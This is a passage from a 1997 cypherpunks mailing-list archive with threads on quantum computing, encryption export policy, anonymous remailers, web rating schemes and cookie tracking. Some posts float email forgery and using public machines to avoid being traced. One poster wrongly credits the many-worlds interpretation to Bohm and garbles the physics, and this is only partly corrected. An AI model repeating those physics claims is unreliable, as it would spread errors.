  secret codes that no conventional computer could touch.

  The only way it could do this, Mr Deutsch argues, is by
  distributing its operations over many parallel universes.
  "To those who cling to a single-universe world-view,"
  he writes with evident asperity," I issue the challenge:
  *explain how Shor's algorithms works.*"

  Combining the many-universes notion with quantum probablity,
  and adding elements of Darwinism and Karl Popper's theory
  of knowledge, Mr. Deutsch apsires to nothing less than a
  complete understanding of "the fabric of reality." Arrogant
  in tone and marred by leaps of logic, his book nonetheless
  bristles with subversive insights about virutal reality,
  time travel, mathematical certainty and free will. 
  Intellectually speaking, Mr. Deutsch is mad, bad and 
  dangerous to know.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jim Choate <ravage@ssz.com>
Date: Fri, 8 Aug 1997 17:10:53 +0800
To: cypherpunks@ssz.com (Cypherpunks Distributed Remailer)
Subject: Shor's Algorithms: Mad, Bad and Dangerous (fwd)
Message-ID: <199708080232.VAA08939@einstein.ssz.com>
MIME-Version: 1.0
Content-Type: text



Forwarded message:

> Date: Thu, 07 Aug 1997 21:12:15 -0400
> From: John Young <jya@pipeline.com>
> Subject: Shor's Algorithms: Mad, Bad and Dangerous

> >From a WSJ nook review today of "The Fabirc of Reality,"
> by David Deutsch (Allan lane, 390 pp., $29.95):
> 
>   Using something called "Shor's algorithm," a quantum
>   computer can factor giant numbers and thereby break
>   secret codes that no conventional computer could touch.
> 
>   The only way it could do this, Mr Deutsch argues, is by
>   distributing its operations over many parallel universes.
>   "To those who cling to a single-universe world-view,"
>   he writes with evident asperity," I issue the challenge:
>   *explain how Shor's algorithms works.*"

The Many Worlds Hypothesis was developed by David Bohm and is an alternate
way of looking at the Uncertaintly Principle, which gets its origin from the
collapse of wave functions used to describe the potential states of a wave.

The advantage of using a Many Worlds Hypothesis is that it allows you to do
away with Bohms, Schroedinger, Einstein, etc. objections to the standard
model, God playing with dice.

>From an existential perspective it is simply another way of viewing the
Hamiltonian of the wave equation. In short the Many World theory says that
all possible outcomes are available in parallel, you only get to experience
one of them. The standard model says the Hamiltonian collapses from its
n-element state to a single valued state at the time of measurement (ie the
system is in no state unless measured). Which was Schroedingers explicit
complaint, in his cat model the question he was asking (that gets dropped
by modern physicist because it is so subversive to the Standard Model) is
"Doesn't the cat know what state it is in?". The implicit (and never stated)
assumption in the Standard Model is that a particle's state is defined by
the particles and their interactions that surround it AND the particle is
comletely unaware of it. Which brings questions like "How does the electron
know to be in the S1 orbital if it doesn't have any way of knowing its
energy state?". This is especialy problematic since a base assumption is
that the only way to effect an electron is through a photon. A good extension
is consider the insanity of the Moon disappearing when you aren't looking
at it. Look at the Moon and the tides appear, look away from the Moon and
the tides go away...

>   Combining the many-universes notion with quantum probablity,

You can't combine them, the whole point of the Many Worlds theory is to
explicity eliminate quantum probability and bring the mechanism into the 
deterministic model used at higher levels of scale (ie Newtonian Mechanics).
The goal is to build a system that is consistent across questions of scale.

>   and adding elements of Darwinism and Karl Popper's theory
>   of knowledge, Mr. Deutsch apsires to nothing less than a
>   complete understanding of "the fabric of reality." Arrogant
>   in tone and marred by leaps of logic, his book nonetheless
>   bristles with subversive insights about virutal reality,
>   time travel, mathematical certainty and free will. 
>   Intellectually speaking, Mr. Deutsch is mad, bad and 
>   dangerous to know.

Sounds like a bunch of wishfull thinking and serious misunderstanding of
Bohm, Schroedinger, etc.'s work.

    ____________________________________________________________________
   |                                                                    |
   |          Participation requires more than just bitching!           |
   |                                                                    | 
   |            _____                             The Armadillo Group   |
   |         ,::////;::-.                           Austin, Tx. USA     |
   |        /:'///// ``::>/|/                     http:// www.ssz.com/  |
   |      .',  ||||    `/( e\                                           |
   |  -====~~mm-'`-```-mm --'-                         Jim Choate       |
   |                                                 ravage@ssz.com     |
   |                                                  512-451-7087      |
   |____________________________________________________________________|





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: geeman@best.com
Date: Fri, 8 Aug 1997 15:57:51 +0800
To: cypherpunks@Algebra.COM
Subject: Commerce/Reinsch: Encryption's in the Federal Spotlight
Message-ID: <3.0.32.19691231160000.00713978@best.com>
MIME-Version: 1.0
Content-Type: text/plain



>Encryption's In The Federal Spotlight
>(08/05/97; 9:00 a.m. EDT)
>By Darryl K. Taft, Computer Reseller News
>
>WASHINGTON -- President Clinton is determined to push electronic
>commerce forward, but when it comes to encryption, some safeguards need
>to remain in place because of law enforcement and national security
>concerns, said William Reinsch, the U.S. Department of Commerce's
>undersecretary for export administration.
>
>Speaking at the National Computer Security Association's (NCSA)
>Electronic Commerce Security conference here, Reinsch reiterated that
>the
>president and U.S. policy favors an electronic marketplace that is not
>regulated by the government.
>
>"It's obvious our policies about encryption is a piece of the large
>puzzle that
>doesn't quite fit our definition of a free market," said Reinsch,
>adding, "The
>increased use of encryption carries with it serious risks for public
>safety and
>our national security. Any policy on encryption must address these risks
>as
>well if it is to be in the national interest. Our policy provides that
>balance by
>working in close consultation with the private sector and by working
>with the
>market, not against it."
>
>William Murray, an executive consultant with Deloitte & Touche,
>disagreed.
>Murray said the present government policy favors security and ease of
>investigation over crime prevention and "the lawless over the law
>abiding. I
>know of no criminals who are worried about the administration's
>policies, but
>my law-abiding clients are."
>
>Murray, who also spoke at the NCSA conference, said he believed the
>government's policy is "sowing so much fear, uncertainty and doubt that
>it is
>the single most incapacitating thing we have to deal with."
>
>Meanwhile, Reinsch outlined several areas where he said he felt the
>administration's policies regarding export control and key management
>are
>making a difference. Reinsch said new regulations creating a license
>exemption that allows recoverable encryption products of any strength
>and
>key length to be exported freely after a single review by the Department
>of
>Commerce, the Department of Justice and the Defense Departments.
>
>To encourage the development of recoverable encryption products, the
>government created a special two-year liberalization period during which
>companies may export 56-bit DES or equivalent products, provided they
>show that they are working to develop the key management infrastructure
>envisioned by the administration, Reinsch said.
>
>Perhaps the best gauge of industry response to the administration
>policies has
>been the flow of applications for exports, Reinsch said. In the seven
>months
>since the policy went into effect, the Commerce department received more
>than 100 license applications for exports, valued at more than $500
>million.
>In addition, Reinsch said 33 companies have submitted plans on how they
>will build key recovery products, and the Commerce department approved
>29 of them with more to come. "None have been rejected," Reinsch said,
>noting that he could only name the companies that have already announced
>their applications, such as Netscape Communications, IBM, Trusted
>Information Systems and Digital Equipment.
>
>Reinsch said the market continues to be confusing because "companies
>might
>say one thing in private with the government and then take a totally
>different
>position publicly." Murray said, "The government does the same thing."
>
>Moreover, Reinsch said industry concerns that foreign availability of
>encryption products appear to be exaggerated. "We do not yet see
>widespread foreign use of encryption," he said. "We've discovered that
>every
>country is going through the same issues we are." 
>
>
>





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: John Young <jya@pipeline.com>
Date: Fri, 8 Aug 1997 17:43:57 +0800
To: cypherpunks@toad.com
Subject: E-Commerce Report
Message-ID: <1.5.4.32.19970808020729.00746f28@pop.pipeline.com>
MIME-Version: 1.0
Content-Type: text/plain



7 August 1997, Business Wire:

Businesses will spend $31 billion on Electronic Commerce-related 
software,  hardware, products and services by the  year 2001, 
according to Bill Burnham, senior research analyst at Piper 
Jaffray Inc.

That's one of the conclusions Burnham draws in "The Electronic 
Commerce  Report" released today. The first comprehensive study 
of the rapidly emerging Electronic Commerce industry, Burnham's 
report  outlines how this spending threatens to topple many of 
the existing  structures underpinning the economy.

The 250-page document provides an in-depth examination of five 
separate areas of the Electronic Commerce industry: 

  Internet  Security, 
  Electronic Payments,  
  Financial Software, 
  Business Commerce Software and 
  Commerce Content  (Internet-based retailing).  

The  report includes projections for revenue growth, size of the 
electronic bill payment industry, number of electronic bill 
presentments and the number of commerce-oriented Internet sites.

Some of the report's most significant findings include:

-- Implementation of the Secure Electronic Transaction (SET) 
standard for  Internet credit card transactions may be delayed 
due to  compatibility and  processing problems;

-- Increasing concentration in the electronic payment sector 
will lead to the "death" of the current payment system. The 
Internet increasingly will be used in lieu of payment networks  
currently run by organizations such as Visa, Mastercard and the  
Federal Reserve;

-- An estimated $228 billion in goods and services will be  
bought and paid for over the Internet in 2001. The  consumer-to-
business market will account for $26 billion in  purchases while 
the business-to-business market will account for $202 billion in 
purchases - eight times larger than the consumer  market;

-- The Electronic Data Interchange (EDI) industry faces an 
increasing challenge from a new Internet-based technology called  
Direct Data Internet (DDI). DDI eventually will battle with the 
EDI industry for control of the business-to-business market on the  
Internet;

-- Intelligent Agents -- software programs that automatically  
shop on behalf of consumers -- will eliminate the advantage enjoyed  
by firms with well known consumer brands;

-- Banks and technology firms such as Microsoft and Intuit are  
heading towards a confrontation over the creation of so-called  
"Integrator" sites on the  Internet. These sites are destined to  
become a consumers' gateway to the  Electronic Commerce industry;

-- The Internet security industry will grow from $525 million to  
$2.7 billion in the next five years. However, this industry will  
face constant threats from large technology firms such as Microsoft  
and Cisco Systems, who could  destroy the industry by embedding  
security features into their products.

"Too many people have confined the concept of Electronic Commerce 
to selling trinkets over the Internet," Burnham said.  "But 
Electronic Commerce goes much deeper than that. Over the next few  
years we will witness a series of battles between firms that hang on  
to the traditional ways of doing business and those that embrace and  
capitalize on the rise of Electronic Commerce."

Copies of a six-page summary or the entire 250-page report are 
available upon request. For more information, contact Piper Jaffray  
at (612) 342-5540.

-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Andy Dustman <andy@CCMSD.chem.uga.edu>
Date: Fri, 8 Aug 1997 15:40:53 +0800
To: Adam Back <aba@dcs.ex.ac.uk>
Subject: Re: disposable remailers (was Re: Eternity Uncensorable?)
In-Reply-To: <199708080147.CAA00946@server.test.net>
Message-ID: <Pine.LNX.3.94.970807215626.2843K-100000@neptune.chem.uga.edu>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

On Fri, 8 Aug 1997, Adam Back wrote:

> Andy Dustman <andy@CCMSD.chem.uga.edu> writes:
> > 
> > Back to the subject: Disposable remailers. It seems the juno remailer
> > software would be good for this. I'm not sure what the sign-up requirement
> > are, but it's free. I was also thinking about web-based free mail
> > services, such as Hotmail and Rocketmail. Receiving mail means having to
> > parse some HTML, which from the looks of things is do-able but not
> > trivial. Sending mail might be easier to implement.
> 
> Sending mail is your problem alright.  It's where you get hit by
> spammers etc.

Ah, but if you only send through the disposable address, who cares? The
actually remailer address should never get seen (except on remailer lists,
of course). You could probably get away with never reading any incoming
mail, so spammers are not a problem.

> Wasn't there an email forgery web page around for a while.  The idea
> was that you filled in the details of who you wanted to send to, what
> address you wanted it to appear you had sent it from, and paste your
> message in this form box.  It did some kind of crude sendmail forgery
> for you.

Hmmm. Someone has recently been forging mail to appear to be from cracker
through something like this (very bad forgery, headers are all wrong).

> > Which brings up an interesting idea for an exitman/middleman remailer: Use
> > a nym or commercial ISP to receive the mail, use throwaway free mail
> > accounts for delivery (maybe even just plaintext delivery). Hotmail, at
> > least, inserts an X-Originating-IP:  header, though.  
> 
> No problem -- run it through www.anonymizer.com first :-)

Sure, Lance won't mind, right? At least, not if we subscribe... ;) Maybe
we need a network of anonymizing web proxy servers... 

> > I expect others do the same. So put your remailer output on a ZIP
> > disk or floppy and run your delivery on whatever public or
> > semi-public access machine you happen to get your hands on, once or
> > twice a day.
> 
> You'd not want to use the same public access account regularly.

I'm not thinking of an account so much as maybe a PC in a university
computer cluster. Pick one and go. At a big university there should be
several clusters around campus.

> I think the connecting to the web based interface of one of those free
> web gateways via www.anonymizer.com web based interface has potential.

It does, but I know The Anonymizer blocks some sites, at their request.

> How much trouble can you get in with ISPs for forging email?  Do they
> care?

Mindspring cares. My ISP was absorbed by them about two weeks after I
signed up. They say in their terms of service that impersonating someone
else is forbidden, but they specifically allow the use of anonymous
remailers and nicknames. I assume this means forging is frowned upon,
unless you are impersonating someone who doesn't exist, I guess.

Andy Dustman / Computational Center for Molecular Structure and Design / UGA
    To get my PGP public key, send me mail with subject "send file key".
For the ultimate anti-spam procmail recipe, send me mail with subject "spam"
"Encryption is too important to leave to the government."  -- Bruce Schneier
http://www.ilinks.net/~dustman    mailto:andy@CCMSD.chem.uga.edu      <}+++<


-----BEGIN PGP SIGNATURE-----
Version: 2.6.3ia
Charset: noconv

iQEPAwUBM+qADROPBZTHLz8dAQHJBwfQim/nARDmP1GQq/hV9duWoO+lRF4bE+D5
RoAibhsZUpyR1vBu754PX2OOAPIjVq+i0UkdFm17bn40zZz9FnJRo/RRead0JdYm
GVO0KSll1AkJsZCtCIWLwIrrwlFKfRehhBJsfLqSat0XF9sI5L8V8npg4bng4hOm
zmTLtbgaRM7wd25hm6Ld4EdCNRyz9BK/2jt1VBemo1X8mKMDgAbk9APn4V4t5u0A
KgN6Btpl+aYs5IUgPRz1D7gFPCcsNWz1JmB/hbdS+r4NL5+/6i/+f/0v7kwmlNMa
P7fQjiIa+/fq8ZMdKfUAwPN0R0VxYT09kC0gtPQU5pkxHQ==
=jH4c
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Declan McCullagh <declan@well.com>
Date: Fri, 8 Aug 1997 15:38:02 +0800
To: cypherpunks@toad.com
Subject: Fahrenheit 451.2: Is Cyberspace Burning? -- ACLU on labeling (fwd)
Message-ID: <Pine.GSO.3.95.970807221813.23044I-100000@well.com>
MIME-Version: 1.0
Content-Type: text/plain





---------- Forwarded message ----------
Date: Thu, 7 Aug 1997 22:18:06 -0700 (PDT)
From: Declan McCullagh <declan@well.com>
To: fight-censorship-announce@vorlon.mit.edu
Subject: Fahrenheit 451.2: Is Cyberspace Burning? -- ACLU on labeling


----

http://www.aclu.org/issues/cyber/burning.html

                               Cyber-Liberties
                                      
                             Fahrenheit 451.2:
                           Is Cyberspace Burning?
                                      
                     How Rating and Blocking Proposals
                   May Torch Free Speech on the Internet
                                      
     Executive Summary
     Introduction
     Is Cyberspace Burning?
     Free Speech Online: A Victory Under Siege
     Rethinking the Rush to Rate
     Recommendations and Principles
     Six Reasons Why Self-Rating Schemes Are Wrong
     Is Third-Party Rating the Answer?
     The Problems With User-Based Blocking Software in the Home 
     Why Blocking Software Should Not Be Used by Public Libraries
     Conclusion
     Appendix: Internet Ratings Systems  How Do They Work?
     
       ______________________________________________________________
                                      
     Fahrenheit 451.2: Is Cyberspace Burning?
     How Rating and Blocking Proposals May Torch Free Speech on the
     Internet 
     
    Executive Summary
    
     
     In the landmark case Reno v. ACLU, the Supreme Court overturned the
     Communications Decency Act, declaring that the Internet deserves
     the same high level of free speech protection afforded to books and
     other printed matter.
     
     But today, all that we have achieved may now be lost, if not in the
     bright flames of censorship then in the dense smoke of the many
     ratings and blocking schemes promoted by some of the very people
     who fought for freedom.
     
     The ACLU and others in the cyber-liberties community were genuinely
     alarmed by the tenor of a recent White House summit meeting on
     Internet censorship at which industry leaders pledged to create a
     variety of schemes to regulate and block controversial online
     speech.
     
     But it was not any one proposal or announcement that caused our
     alarm; rather, it was the failure to examine the longer-term
     implications for the Internet of rating and blocking schemes.
     
     The White House meeting was clearly the first step away from the
     principle that protection of the electronic word is analogous to
     protection of the printed word. Despite the Supreme Court's strong
     rejection of a broadcast analogy for the Internet, government and
     industry leaders alike are now inching toward the dangerous and
     incorrect position that the Internet is like television, and should
     be rated and censored accordingly.
     
     Is Cyberspace burning? Not yet, perhaps. But where there's smoke,
     there's fire.
     
[...]
     
    Conclusion
    
     The ACLU has always favored providing Internet users, especially
     parents, with more information. We welcomed, for example, the
     American Library Association's announcement at the White House
     summit of The Librarian's Guide to Cyberspace for Parents and Kids,
     a "comprehensive brochure and Web site combining Internet
     terminology, safety tips, site selection advice and more than 50 of
     the most educational and entertaining sites available for children
     on the Internet."
     
     In Reno v. ACLU, we noted that Federal and state governments are
     already vigorously enforcing existing obscenity, child pornography,
     and child solicitation laws on the Internet. In addition, Internet
     users must affirmatively seek out speech on the Internet; no one is
     caught by surprise.
     
     In fact, many speakers on the Net provide preliminary information
     about the nature of their speech. The ACLU's site on America
     Online, for example, has a message on its home page announcing that
     the site is a "free speech zone." Many sites offering commercial
     transactions on the Net contain warnings concerning the security of
     Net information. Sites containing sexually explicit material often
     begin with a statement describing the adult nature of the material.
     Chat rooms and newsgroups have names that describe the subject
     being discussed. Even individual e-mail messages contain a subject
     line.
     
     The preliminary information available on the Internet has several
     important components that distinguish it from all the ratings
     systems discussed above: (1) it is created and provided by the
     speaker; (2) it helps the user decide whether to read any further;
     (3) speakers who choose not to provide such information are not
     penalized; (4) it does not result in the automatic blocking of
     speech by an entity other than the speaker or reader before the
     speech has ever been viewed. Thus, the very nature of the Internet
     reveals why more speech is always a better solution than censorship
     for dealing with speech that someone may find objectionable.
     
     It is not too late for the Internet community to slowly and
     carefully examine these proposals and to reject those that will
     transform the Internet from a true marketplace of ideas into just
     another mainstream, lifeless medium with content no more exciting
     or diverse than that of television.
     
     Civil libertarians, human rights organizations, librarians and
     Internet users, speakers and providers all joined together to
     defeat the CDA. We achieved a stunning victory, establishing a
     legal framework that affords the Internet the highest
     constitutional protection. We put a quick end to a fire that was
     all but visible and threatening. The fire next time may be more
     difficult to detect  and extinguish.
[...]
    Credits
    
     The principal authors of this white paper are Ann Beeson and Chris
     Hansen of the ACLU Legal Department and ACLU Associate Director
     Barry Steinhardt. Additional editorial contributions were provided
     by Marjorie Heins of the Legal Department, and Emily Whitfield of
     the Public Education Department. This report was prepared by the
     ACLU Public Education Department: Loren Siegel, Director; Rozella
     Floranz Kennedy, Editorial Manager; Ronald Cianfaglione, Designer.
     
             Copyright 1997, The American Civil Liberties Union








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Steve Schear <azur@netcom.com>
Date: Fri, 8 Aug 1997 15:35:19 +0800
To: Tim May <tcmay@got.net>
Subject: Postal remailers? (was Re: anti-spam law implies laws againstremailers?)
In-Reply-To: <199708061705.SAA03362@server.test.net>
Message-ID: <v03102801b01061de5c32@[10.0.2.15]>
MIME-Version: 1.0
Content-Type: text/plain



>Nor are delivery services required to "know their customer" or to have
>ironclad proof of where a package originated. (Hell, even the U.S. Postal
>Service allows mail with no valid return address, and this was my
>experience in Europe as well.)

As an aside are there any anonymous postal remailers?  If not, it might be
interesting to set them up.  Maybe you could include a diskette with the
'nested' remailer information now used on Net and ecash payments at each
layer of the 'onion'.  Users would be encouraged to use uniform box
dimensions, wrapping and weight (via liquid 'filler weights) to thwart
traffic analysis.

--Steve

--Steve






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Fri, 8 Aug 1997 15:36:07 +0800
To: Jim Choate <cypherpunks@ssz.com (Cypherpunks Distributed Remailer)
Subject: Re: Shor's Algorithms: Mad, Bad and Dangerous (fwd)
In-Reply-To: <199708080232.VAA08939@einstein.ssz.com>
Message-ID: <v03102800b0106343615a@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain



At 7:32 PM -0700 8/7/97, Jim Choate wrote:

>The Many Worlds Hypothesis was developed by David Bohm and is an alternate
>way of looking at the Uncertaintly Principle, which gets its origin from the
>collapse of wave functions used to describe the potential states of a wave.

I would give credit to Hugh Everett, a student of John Wheeler's, for
developing this interpreation. In fact, the Many Worlds interpretation is
also called the Everett-Wheeler-Graham Interpretation. This was back in
1956-7.


ObCrypto Significance: Zero, in all worlds of the Multiverse

There's something wrong when I'm a felon under an increasing number of laws.
Only one response to the key grabbers is warranted: "Death to Tyrants!"
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Steve Schear <azur@netcom.com>
Date: Fri, 8 Aug 1997 15:35:13 +0800
To: Marshall Clow <mclow@owl.csusm.edu>
Subject: Re: Export Tax vs ITAR as a compromise ...
In-Reply-To: <199708072032.NAA20409@ohio.chromatic.com>
Message-ID: <v03102803b010654929a4@[10.0.2.15]>
MIME-Version: 1.0
Content-Type: text/plain



At 7:10 PM -0700 8/7/97, Marshall Clow wrote:
>If this were in force, and I were someone like, say, PGP,
>I would export a single copy of my program to a confederate
>overseas who would then duplicate it and sell it abroad,
>sending royalty payments back to me.
>
>25% of $50 is um... $12.50.

Once the PGP 5.0 listing have been OCR's and placed on Net, I'd be very
surprised if PGP didn't announce an offshore commercial licensing and
distribution agreement.  PGP may have published their source code, but they
have not ceded their copyrights or use of their trademarks.

--Steve






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Declan McCullagh <declan@pathfinder.com>
Date: Fri, 8 Aug 1997 15:41:19 +0800
To: "Dr.Dimitri Vulis KOTM" <dlv@bwalk.dm.com>
Subject: Re: Query on cookies
In-Reply-To: <R5u3ae3w165w@bwalk.dm.com>
Message-ID: <Pine.GSO.3.95.970807232303.2811A-100000@cp.pathfinder.com>
MIME-Version: 1.0
Content-Type: text/plain



I believe this is what the folks at Netscape tried to eliminate in 4.0,
which I'm told features four cookie settings. One rejects "third party
cookies."

-Declan


On Thu, 7 Aug 1997, Dr.Dimitri Vulis KOTM wrote:

> Declan McCullagh <declan@well.com> writes:
> 
> > Thanks for the help, folks. This is for an article on privacy I was
> > working on, and I found the info I needed. For instance, Netscape's
> > explanation of the protocol left me wondering about whether cookies from
> > acme.com could be requested by competitor.com.
> The answer is YES, although it requires a little work.
> 
> Suppose that you point your browser at http://www.A.com/index.html.
> 
> Suppose that file contains an <img src="http://www.B.com/X.cgi">.
> The CGI file displays a little picture, and also gets or sets a cookie.
> 
> Suppose you next browse http://www.C.com/index.html, and it too
> contains the same <img src...>.  Since the cookie is "owned" by B.com,
> not A.com or C.com, the cgi file can track your movement from A.Com to
> B.Com.
> 
> 
> ---
> 
> Dr.Dimitri Vulis KOTM
> Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps
> 
> 





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "John Smith" <jsmith58@hotmail.com>
Date: Fri, 8 Aug 1997 15:34:55 +0800
To: cypherpunks@cyberpass.net
Subject: Re: "Voluntary Censorship" vs. Govt Legislation
Message-ID: <19970808062547.28652.qmail@hotmail.com>
MIME-Version: 1.0
Content-Type: text/plain



Ryan Anderson writes:
>The second thing, and most important, is that web search engines need 
>to
>index *every* page, and allow the topical/categorization system as a 
>way
>to further limit searchs.  

You can't make the web search engines do that.  It's a free country.

What you can do is to avoid the ones which have policies you don't
like.  If Altavista starts listing only rated sites, you can use a
different search engine.

Realistically, the percentage of rated sites is probably going to
stay low for some time.  The big ones will rate, though.  So the
question will be whether most people are happy with the "top 1%"
sites, or whether they want access to the whole web.

It seems to me that if you are using a search engine, you probably
need access to more than just the big commercial sites.  Rogue
indexes which don't block unrated sites may have an advantage just
in terms of usefulness, even aside from the politics.

"John

______________________________________________________
Get Your Private, Free Email at http://www.hotmail.com





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Adam Back <aba@dcs.ex.ac.uk>
Date: Fri, 8 Aug 1997 17:49:06 +0800
To: andy@CCMSD.chem.uga.edu
Subject: Re: disposable remailers (was Re: Eternity Uncensorable?)
In-Reply-To: <Pine.LNX.3.94.970807160614.2843G-100000@neptune.chem.uga.edu>
Message-ID: <199708072250.XAA05978@server.test.net>
MIME-Version: 1.0
Content-Type: text/plain




Andy Dustman <andy@CCMSD.chem.uga.edu> writes:
> On Thu, 7 Aug 1997, Adam Back wrote:
> 
> > You know how middleman operators work...  they always, always send
> > mail via another remailer and never deliver mail to a user.  (I'm not
> > sure if they detect this by looking to see if the address is on the
> > remailer list, or just always add an extra hop?)
> 
> I think by definition a middleman always chains through one or more
> additional remailers. When I ran dustbin, it was a "smart middleman",
> i.e., if the recipient was a known remailer, it wouldn't bother to chain
> (remailers rarely complain), otherwise it would chain through a single
> remailer. 

OK, so as you're the first person to implement a smart middleman I
guess that defines the terminology :-)

middleman
  "always adds another hop through a random remailer"

smart middleman
  "posts through remailer when asked to deliver to anybody other than
   a known remailer"

Wasn't there for a time a hidden middleman.  That is a middleman
remailer who's published address was a nym account on a nymserver?
That'd be a "hidden middleman".

> An even smarter middleman would detect PGP messages and deliver those
> directly to end recipients, since those people are unlikely to complain
> about anonymous mail, and chain if the message was plaintext. The risk
> involved with this type of middleman operation should be rather small.

Yep.

Dimitri suggested on cypherpunks in the last round of discussion of
this sort of thing another variation on that -- that you could deliver
the mail if the person had a PGP public key on the keyservers --
whether the email was encrypted or not.  On the assumption that people
who use PGP would be unlikley to complain of anonymous mail.

He also suggested beefing up keyserver submission checks (there are
none right now) so that you need a replyable address to submit a key,
otherwise the remailer-baiter just posts a key generated with their
"victim's" email address on it prior to sending to them.

Adam
-- 
Have *you* exported RSA today? --> http://www.dcs.ex.ac.uk/~aba/rsa/

print pack"C*",split/\D+/,`echo "16iII*o\U@{$/=$z;[(pop,pop,unpack"H*",<>
)]}\EsMsKsN0[lN*1lK[d2%Sa2/d0<X+d*lMLa^*lN%0]dsXx++lMlN/dsM0<J]dsJxp"|dc`





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Fri, 8 Aug 1997 15:36:15 +0800
To: cypherpunks@toad.com
Subject: Re: Query on cookies
In-Reply-To: <Pine.GSO.3.95.970807232303.2811A-100000@cp.pathfinder.com>
Message-ID: <oXN4ae54w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain



Declan McCullagh <declan@pathfinder.com> writes:

> I believe this is what the folks at Netscape tried to eliminate in 4.0,
> which I'm told features four cookie settings. One rejects "third party
> cookies."

Blessed are those who believe.

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Ryan Anderson <randerso@ece.eng.wayne.edu>
Date: Fri, 8 Aug 1997 16:00:22 +0800
To: Kent Crispin <kent@songbird.com>
Subject: Re: "Voluntary Censorship" vs. Govt Legislation
In-Reply-To: <19970806141137.51900@bywater.songbird.com>
Message-ID: <Pine.GSO.3.95.970808005214.21218A-100000@ece>
MIME-Version: 1.0
Content-Type: text/plain



On Wed, 6 Aug 1997, Kent Crispin wrote:

> This is not a good analogy at all.  Have you ever noticed that there
> are "childrens books" sections in the library? In fact, books in
> libraries *do* have ratings -- they just use a different technique
> than stamping it on the book.

Exactly!  Such a system (perhaps patterned after the Dewey Decimal System,
with expansion to handle fiction, news sites, etc or the Library of
Congress system, though I know very little about this system, and it's
probably too complicated to do on the net effectively) would allow you to
search for a site that contained information about "Green Eggs and Ham"
under children, for information about the Dr. Seuss book, and under news
for information about the nasty new genetic disease running through US
farms.  [finctional example, but I think the point got across, hopefully]

Two things need to be prevented to make this a viable solution:  NO
MANDATES from government, though a request for sites that are somewhat
controversial, such as adult sites to mark pages as such should not be
considered a horrible idea, this already happens to some extent in other
areas.

The second thing, and most important, is that web search engines need to
index *every* page, and allow the topical/categorization system as a way
to further limit searchs.  

This would be a method that I think would remove most of the fears in
place.  Search engines can't start limiting indexes to just the rated
sites, or they become a *major* problem on the net, but improving
searching is not somethign to be ignored in this issue.

This is a much more important issue than the filter of adult sites.  It
happens to provide a convenient way to do that, however, in a manner that
allows parents to limit whatever they want... [ you don't want your child
learnign about certain things?  block those ratings.. adult sites will
probably have a better percentage of categorizing than most others, but
no matter what you pick, something will listed under that...)

-----------------------------------------------------------------------
Ryan Anderson - <Pug Majere>     "Who knows, even the horse might sing" 
Wayne State University - CULMA   "May you live in interesting times.."
randerso@ece.eng.wayne.edu                        Ohio = VYI of the USA 
PGP Fingerprint - 7E 8E C6 54 96 AC D9 57  E4 F8 AE 9C 10 7E 78 C9
-----------------------------------------------------------------------





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jim Choate <ravage@ssz.com>
Date: Fri, 8 Aug 1997 15:36:15 +0800
To: cypherpunks@ssz.com (Cypherpunks Distributed Remailer)
Subject: Re: Shor's Algorithms: Mad, Bad and Dangerous (fwd)
Message-ID: <199708080604.BAA09505@einstein.ssz.com>
MIME-Version: 1.0
Content-Type: text



Forwarded message:

> Date: Thu, 7 Aug 1997 22:53:28 -0700
> From: Tim May <tcmay@got.net>
> Subject: Re: Shor's Algorithms: Mad, Bad and Dangerous (fwd)

> >The Many Worlds Hypothesis was developed by David Bohm and is an alternate
> >way of looking at the Uncertaintly Principle, which gets its origin from the
> >collapse of wave functions used to describe the potential states of a wave.
> 
> I would give credit to Hugh Everett, a student of John Wheeler's, for
> developing this interpreation. In fact, the Many Worlds interpretation is
> also called the Everett-Wheeler-Graham Interpretation. This was back in
> 1956-7.

D. Bohm     Phys. Rev., 85, 166-193 (1952)

D. Bohm     Phys. Rev., 89, 458-466 (1953)

D. Bohm     Quantum Theory, Prentice-Hall, Englewood Cliffs, New Jersey,
1951

L. de Broglie, Electrons et Photons, Rapport au Ve Conseil Physique Solvay,
Gauthier-Viliars, Paris, 1930

H. Everett  Rev. Mod. Phys. 29, 454-462 (1957)

W. Pauli, in Reports on the 1927 Solvay Congress, Gauthiers-Villiars,
et Cie, Paris (1928), 280

    ____________________________________________________________________
   |                                                                    |
   |          Participation requires more than just bitching!           |
   |                                                                    | 
   |            _____                             The Armadillo Group   |
   |         ,::////;::-.                           Austin, Tx. USA     |
   |        /:'///// ``::>/|/                     http:// www.ssz.com/  |
   |      .',  ||||    `/( e\                                           |
   |  -====~~mm-'`-```-mm --'-                         Jim Choate       |
   |                                                 ravage@ssz.com     |
   |                                                  512-451-7087      |
   |____________________________________________________________________|





